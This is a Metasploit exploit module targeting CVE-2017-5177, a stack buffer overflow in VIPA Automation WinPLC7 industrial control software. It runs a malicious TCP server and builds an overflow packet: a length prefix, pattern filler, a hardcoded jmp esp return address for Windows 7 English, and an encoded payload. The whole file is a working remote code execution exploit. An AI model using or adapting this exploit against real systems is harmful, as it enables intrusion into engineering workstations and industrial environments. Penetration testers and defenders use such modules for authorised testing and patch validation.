require 'msf/core' class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::TcpServer def initialize(info = {}) super(update_info(info, 'Name' => 'VIPA Authomation WinPLC7 recv Stack Buffer Overflow', 'Description' => %q{ This module exploits a stack based buffer overflow found in VIPA Automation WinPLC7 <= 5.0.45.5921. The overflow is triggered when WinPLC7 connects to a remote server and accepts a malicious packet. The first 2 bytes of this packet are read in and used as the size value for a later recv function. If a size value of sufficiently large size is supplied a stack buffer overflow will occur }, 'Author' => [ 'james fitts' ], 'License' => MSF_LICENSE, 'References' => [ [ 'ZDI', '17-112' ], [ 'CVE', '2017-5177' ], [ 'URL', 'https://ics-cert.us-cert.gov/advisories/ICSA-17-054-01' ] ], 'Privileged' => false, 'DefaultOptions' => { 'EXITFUNC' => 'process', }, 'Payload' => { 'Space' => 500, 'BadChars' => "", 'StackAdjustment' => -3500 }, 'Platform' => 'win', 'Targets' => [ [ 'Windows 7 EN', { # ws7v5.exe # jmp esp 'Ret' => 0x00422354 } ], ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Feb 28 2017')) register_options( [ OptPort.new('SRVPORT', [ true, "The port to listen on", 7777]) ], self.class) end def on_client_data(client) p = payload.encoded pkt = "\x13\x88\x00\x00\x00" # len pkt += Rex::Text.pattern_create(5000) pkt[848, 4] = [target.ret].pack('V') pkt[852, p.length] = p client.put(pkt) handler service.close_client(client) end end